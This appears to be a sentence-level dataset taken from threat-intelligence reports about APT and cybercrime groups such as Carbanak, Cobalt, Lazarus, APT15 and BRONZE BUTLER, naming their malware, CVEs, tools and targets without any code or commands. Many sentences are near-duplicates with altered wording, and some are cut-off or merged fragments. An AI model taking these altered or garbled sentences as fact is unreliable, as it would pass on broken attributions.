Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
One group , which we call Cadelle , uses Backdoor.Cadelspy , while the other , which we've named Chafer , uses Backdoor.Remexi and Backdoor.Remexi.B .
APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol ( RDP ) , Secure Shell ( SSH ) , PsExec , RemCom , and xCmdSvc .
The APT39 were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BlackOasis ' interests span a wide gamut of figures involved in Middle Eastern politics .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early asat least based on the file properties of the decoy documents they've been sending to their targets .
Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER has used a broad range of publicly available ( Mimikatz and gsecdump ) and proprietary ( Daserf and Datper ) tools .
BRONZE BUTLER are also fluent in Japanese , crafting phishing emails in native Japanese and operating successfully within a Japanese-language environment .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .
BRONZE BUTLER compromises organizations to conduct cyberespionage , primarily focusing on Japan .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
Carbanak is a backdoor used by the attackers to compromise the victim .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015 .
As with previous campaigns , and as highlighted in our annual M-Trends 2017 report , FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
While FIN7 has embedded VBE as OLE objects for over a year , they continue to update their script launching mechanisms .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The first successful bank robbery was committed by this group in January 2013 .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
We have no evidence of compromises against banks in Western Europe or United States , but it should be noted that the attackers methods could be utilized against banks outside of Russia as well .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
Without any insight into the evidence Kaspersky has obtained , we can only repeat our view that Anunak has targeted only banks in Russia and we have no concrete reports of compromised banks outside of Russia directly related to this criminal group .
Charming Kitten is an Iranian cyberespionage group operating since approximately 2014 .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
Flying Kitten ( which is another name given by the security industry to Charming Kitten ) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI ( Islamic Republic of Iran ) government and foreign espionage targets .
Flying Kitten was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of government and foreign espionage targets .
At certain times , Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team " .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
TinyZBot is a bot written in C# and developed by the Cleaver team .
Some of the teams publicly known today include Iranian Cyber Army , Ashiyane , Islamic Cyber Resistance Group , Izz ad-Din al-Qassam Cyber Fighters , Parastoo , Shabgard , Iran Black Hats and many others 9 .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .
Against targets in the CIS countries , the Cobalt also used their own infrastructure , which included rented dedicated servers .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
Artifacts indicated the involvement of the Cobalt that , according to Positive Technologies information , from August to October had performed similar successful attacks in Eastern Europe , and it 's likely that this group may will soon become active in the West .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak , Corkow , Buhtrap , and Lurk groups began conducting the first attacks on Russian banks .
In a recent spear-phishing campaign , the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike , but ended up revealing all targets .
This isn't the first time we've seen Cobalt makes this error—back in March , an attack focussing on 1,880 targets across financial institutions in Kazakhstan had the same flaw .
The Carbanak attacks targeting over a 100 financial institutions worldwide .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
The organised crime group started its high-tech criminal activities in late 2013 by launching themalware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
One of the Cobalt Group 's latest campaigns , an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor , was investigated and presented by the Talos research team .
The Cobalt started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
The Cobalt group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
The hacking group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
If successful , Cobalt goes on to attack financial institutions outside the country .
The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled .
As part of our monitoring of Iranian threat agents activities , we have detected that since October 2016 and until the end of January 2017 , the Jerusalem Post , as well as multiple other Israeli websites and one website in the Palestinian Authority were compromised by Iranian threat agent CopyKittens .
CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date , and are analyzed in this report : TDTESS backdoor ; Vminst , a lateral movement tool ; NetSrv , a Cobalt Strike loader ; and ZPP , a files compression console program .
CopyKittens often uses the trial version of Cobalt Strike , a publicly available commercial software for " Adversary Simulations and Red Team Operations " .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
The group , which we have given the name Gallmaker , has been operating since at least December 2017 , with its most recent activity observed in June 2018 .
Rather , the Gallmaker 's attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
Back in 2013 , CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news , an Israeli newspaper .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
Gallmaker 's targets are embassies of an Eastern European country .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
The group has carried out attacks most months since December 2017 .
Its activity subsequently increased in the second quarter of 2018 , with a particular spike in April 2018 .
The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect .
The Gamaredon Group primarily makes use of compromised domains , dynamic DNS providers , Russian and Ukrainian country code top-level domains ( ccTLDs ) , and Russian hosting providers to distribute their custom-built malware .
Gallmaker may well have continued to avoid detection were it not for Symantec 's technology .
In this instance , Symantec identified the specific PowerShell commands used by Gallmaker as being suspicious , leading to the discovery of this new campaign .
Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected .
Previously , LookingGlass reported on a campaign they named " Operation Armageddon " , targeting individuals involved in the Ukrainian military and national security establishment .
The earliest discovered sample ( based on compile times and sandbox submission times ) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro .
The scripts would also use wget to send POST requests to command and control ( C2 ) servers that would contain information about the compromised system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
While the most recent samples observed still use batch scripts and SFX files , the Gamaredon Group has moved away from applications like wget , Remote Manipulator Tool , VNC and ChkFlsh.exe .
The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government .
Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon .
Periodically , researchers at Palo Alto Networks hunt through WildFire execution reports , using AutoFocus , to identify untagged samples ' artifacts in the hopes of identifying previously undiscovered malware families , behaviors , and campaigns .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Today at the Security Analyst Summit ( SAS 2016 ) , Kaspersky Lab is announcing the discovery of two new gangs engaged in APT-style bank robberies – Metel and GCMAN – and the reemergence of the Carbanak group with new targets in its sights .
In 2015 , Kaspersky Lab researchers conducted Incident Response for 29 organizations located in Russia and infected by these three groups .
Kaspersky Lab is releasing crucial Indicators of Compromise ( IOCs ) and other data to help organizations search for traces of these attack groups in their corporate networks .
In all , Kaspersky Lab discovered Metel in more than 30 financial institutions .
It is highly likely that this threat is far more widespread and we urge financial institutions around the world to scan their networks for signs of the Metel malware .
A second group , which we call GCMAN because the malware is based on code compiled on the GCC compiler , emerged recently using similar techniques to the Metel Group to infect banking institutions and attempt to transfer money to e-currency services .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Once inside the network , the GCMAN group uses legitimate and penetration testing tools such as Putty , VNC , and Meterpreter for lateral movement .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
During that time they poked 70 internal hosts , compromised 56 accounts , making their way from 139 attack sources ( TOR and compromised home routers ) .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Kaspersky Lab 's research team responded to three financial institutions in Russia that were infected with the GCMAN malware .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
Recently Subaat drew our attention due to renewed targeted attack activity .
Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec , in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking , which we are calling Gorgon Group .
Starting in February 2018 , Palo Alto Networks identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
Starting in February 2018 , Palo Alto Networks Unit 42 identified aof attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
Starting in February 2018 , Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
APT38 's increasingly aggressive targeting against banks .
Gorgon Group used common URL shortening services to download payloads .
group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
APT38 has paralleled North Korea 's worsening financial condition .
On much of the C2 infrastructure we identified several crimeware family samples .
While investigating the domains and infrastructure used by the phishing components of Gorgon Group , Unit 42 researchers witnessed several common operational security flaws with Gorgon Group 's actors throughout their many campaigns .
360 and Tuisec already identified some Gorgon Group members .
RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks .
it 's not known if the attackers physically reside in Pakistan .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
While it 's not known if the attackers physically reside in Pakistan , all members of Gorgon Group purport to be in Pakistan based on their online personas .
Starting in mid-February , Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks .
Unit 42 researchers have been tracking Gorgon Group for criminal and targeted attacks .
As part of the investigation , Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks .
The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time , rarely changing their TTPs .
One interesting note about the criminal activity of Gorgon Group is their usage of Bitly .
Between April 1 , 2018 and May 30 , 2018 , we observed the domain stevemike-fireforce.info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack .
Similar to that of their targeted attacks , Gorgon Group leveraged Bitly for distribution and shortening of C2 domains .
Beginning in early March 2018 , Unit 42 started observing targeted attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April .
As we continued to investigate , it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan .
Starting in mid-February .
Additionally , during that time , members of Gorgon Group were also performing criminal operations against targets across the globe , often using shared infrastructure with their targeted attack operations .
Unit 42 researchers have been tracking an active campaign .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Beginning in early March 2018 , Unit 42 started observing Gorgon group attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Like all of Gorgon Group 's members , Fudpage 's online profile , infrastructure utilization and standardization , connects them back to Gorgon Group .
Ultimately , this lead us to the conclusion that several of Gorgon Group 's members have a nexus in Pakistan .
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks .
Overall , in spite of the lack of sophistication in Gorgon Group 's activity , they were still relatively successful ; once again proving that simple attacks on individuals without proper protections , work .
On January 15 , Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
While Gorgon Group has been making minor changes in their methodologies , they are still actively involved in both targeted and criminal attacks .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
This key was also used in the Honeybee campaign and appears to have been used since August 2017 .
Several additional documents surfaced between January 17 and February 3 .
All contain the same Visual Basic macro code and author name as Honeybee .
Some of the malicious documents were test files without the implant .
From our analysis , Honeybee submitted most of these documents from South Korea , indicating that some of the targeting was in South Korea .
Honeybee attacked beyond the borders of South Korea to target Vietnam , Singapore , Argentina , Japan , Indonesia , and Canada .
Honeybee appears to target humanitarian aid andMcAfee Advanced Threat Research team 's analysis , we find multiple components from this operation are unique from a code perspective , even though the code is loosely based on previous versions of the SYSCON backdoor .
Large-scale cyber espionage campaigns such as " GhostNet " .
As the crisis in Syria escalates , FireEye researchers have discovered a cyber espionage campaign , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
As the crisis in Syria escalates , FireEye researchers have discovered a threat group , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010 .
FireEye gained visibility into one of 23 known command-and-control ( CnC ) servers operated by the Ke3chang actor for about one week .
Each attack comprises a variety of phases , including reconnaissance , exploitation , command and control , lateral movement , and exfiltration .
The Ke3chang attackers have been active since at least 2010 .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
August 2013 , FireEye gained visibility on one of 22 CnC servers used at that time by the Ke3chang attackers .
In this report , we present the historical intelligence we have gathered on the Ke3chang campaign , as well as an in-depth assessment of the ongoing Syrian-themed attacks against these MFAs .
Ke3chang attackers have used spear-phishing emails .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
Over the years , the Ke3chang attackers have used three types of malware that we call : " BS2005 " , " BMW " , and " MyWeb " .
it is a typical first stage backdoor commonly found in APT attacks .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
All of the CnC communications are performed over the HTTP protocol .
The current Ke3chang campaign leverages the BS2005 malware , while older activity from2011 leveraged BMW , followed by the MyWeb malware sporadically used in between .
A trait common to all three malware families we analyzed is that they use the IWebBrowser2 COM interface to perform their CnC communication .
Three months after the Olympics-themed attacks , FireEye observed a new BS2005 campaign labeled " newtiger " , which is possibly a reference to an older 2010 campaign labeled " tiger " .
Using information from the FireEye DTI cloud , FireEye observed that Ke3chang targeted a single firm .
The Ke3chang attackers used the older " MyWeb " malware family from 2010 to 2011 .
The Ke3chang attackers used the older MyWeb malware family from 2010 to 2011 .
During our period of visibility into the BS2005 " moviestar " campaign against various ministries of foreign affairs in Europe , FireEye discovered that the Ke3chang had initially tested the malware in virtual machines , prior to compromising actual targets .
The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011 .
At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .
MyWeb is the second-generation malware used by Ke3chang .
ministries of foreign affairs in Europe have been targeted and compromised by a threat actor we call Ke3chang .
This attack used the crisis in Syria as a lure to deliver malware to its targets .
Tracking the malicious activities of the elusive Ke3chang APT group , ESET researchers have discovered new versions of malware families linked to the group , and a previously unreported backdoor .
Furthermore , FireEye has presented evidence indicating that the Ke3chang attackers have been active since at least 2010 and have attacked targets related to G20 meetings in the past .
During our brief window of visibility into one of the known 22 CnC nodes , FireEye observed the Ke3chang conducting reconnaissance and moving laterally throughout the compromised networks .
Ke3chang attackers are operating within China .
In May 2017 , NCC Group 's Incident Response team reacted to an ongoing incident .
which provides a range of services to UK Government .
APT15 was targeting information related to UK government departments and military technology .
backdoors that now appear to be part of APT15 's toolset .
This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .
RoyalDNS - required APT15 .
The Ke3chang group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes .
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets .
This time , APT15 opted for a DNS based backdoor : RoyalDNS .
APT15 then used a tool known as RemoteExec .
APT15 then used a tool known as RemoteExec ( similar to Microsoft .
Coincidentally , following the recent hack of a US Navy contractor and theft of highly sensitive data on submarine warfare , we have found evidence of very recent activity by a group referred to as APT15 , known for committing cyber espionage which is believed to be affiliated with the Chinese government .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
Other names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
ther names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group ; although posted in March 2018 , it refers to a campaign in 2017 .
both attributed to Chinese government affiliated groups .
DLL hijacking techniques have been seen in the past with the APT15 group .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover and Hangman .
DHS has previously released Alert TA14-353A .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
Our analysis shows that the cybercriminals behind the attack against an online casino in Central America , and several other targets in late-2017 , were most likely the infamous Lazarus hacking group .
The Lazarus Group was first identified in Novetta 's report Operation Blockbuster in February 2016 .
cyberattacks against high-value targets in Ukraine in December 2015 and December 2016 .
In all of these incidents , the Lazarus utilized similar toolsets , including KillDisk that was executed on compromised machines .
We are confident this KillDisk malware was deployed by Lazarus , rather than by another , unrelated attacker .
This recent attack against an online casino in Central America suggests that hacking tools from the Lazarus toolset are recompiled with every attack ( we didn't see these exact samples anywhere else ) .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
Today we'd like to share some of our findings , and add something new to what 's currently common knowledge about Lazarus Group activities , and their connection to the much talked about February 2016 incident , when an unknown attacker attempted to steal up to $851M USD from Bangladesh Central Bank .
Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and the Bangladesh bank heist .
However , from this it 's only clear that Lazarus might have attacked Polish banks .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
Considering that the afterhack publications by the media mentioned that the investigation stumbled upon three different attackers , it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions , or if Lazarus had in fact developed its own malware to attack banks ' systems .
We would like to add some strong facts that link some attacks on banks to Lazarus , and share some of our own findings as well as shed some light on the recent TTPs used by the attacker , including some yet unpublished details from the attack in Europe in 2017 .
Lazarus attacks are not a local problem and clearly the group 's operations span across the whole world .
Lazarus was previously known to conduct cyberespionage and cybersabotage activities , such as attacks on Sony Pictures Entertainment with volumes of internal data leaked , and many system harddrives in the company wiped .
We believe that Lazarus Group is very large and works mainly on infiltration and espionage operations , while a substantially smaller units within the group , which we have dubbed Bluenoroff , is responsible for financial profit .
Lazarus regrouped and rushed into new countries , selecting mostly poorer and less developed locations , hitting smaller banks because they are , apparently , easy prey .
To date , the Lazarus group has been one of the most successful in launching large scale operations against the financial industry .
We believe that Lazarus will remain one of the biggest threats to the banking sector , finance , and trading companies , as well as casinos for the next few years .
We believe Lazarus started this watering hole attack at the end of 2016 after their other operation was interrupted in South East Asia .
We believe they started this watering hole campaign at the end of 2016 after their other operation was interrupted in South East Asia .
A rudimentary but somewhat clever design , KiloAlfa provides keylogging capability for the Lazarus Group 's collection of malicious tools .
The design of KiloAlfa is broken down into two basic components : the persistence functionality and the keylogging functionality .
The persistence functionality of KiloAlfa allows the malware to self-install on a victim 's machine when activated ( described below ) .
Evidence suggest that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples .
PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server ( s ) for operations .
Rather , PapaAlfa could be considered a smart proxy due in part to the fact that the Lazarus can easily switch the backend destination address and port without having to reestablish control over the infected machine hosting the PapaAlfa malware .
In terms of form factor , PapaAlfa comes in two flavors : service DLL and standalone executable .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
While the tools profiled in this report are not inherently malicious , their capabilities are nonetheless integral to the Lazarus Group 's cyber operations , both espionage and destructive in nature , making them inherently dangerous to potential victims .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
Furthermore , like many other identified Lazarus Group families , these tools showcase the group 's creative solutions , such as the PapaAlfa , which makes it difficult to immediately identify potentially malicious activity on a compromised network .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .
This reverse engineering report looks at the RATs and staging malware found within the Lazarus Group 's collection .
Regardless of their sophistication or refinement , the malware families within the Lazarus Group 's India and Lima classes perform at a reasonable level for their designed purpose : the introduction and persistence of malware from the Lazarus Group on a victim 's infrastructure .
While the capabilities for the installers , loaders , and uninstallers in this report are relatively straight forward and single-focused , analysis of these malware families provide further insight into the capabilities of the Lazarus Group .
The Lazarus Group employs a variety of RATs that operate in both client mode and server mode .
The most common communication mode for a RAT is to act as a client to a remote server .
The Lazarus Group employs a variety of RATs and staging malware to conduct cyber operations , many of which contain significant code overlap that points to at least a shared development environment .
While some members within the Romeo and Sierra groups may not implement sound authentication strategies , shift their design focus in abrupt and unusual manners , and fail to understand the pitfalls of distributed command networks , on the whole the families within the Lazarus Group 's collection of RATs and staging malware perform their tasks with surprising effectiveness .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
McAfee Advanced Threat Research analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
McAfee Advanced Threat Research ( ATR ) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
The use of decoy documents also reveals some of the potential targets of the Lazarus group 's malicious activity , specifically the use spear phishing attacks observed targeting South Korean government and aerospace organizations .
The campaign lasted from April to October and used job descriptions relevant to target organizations , in both English and Korean language .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations .
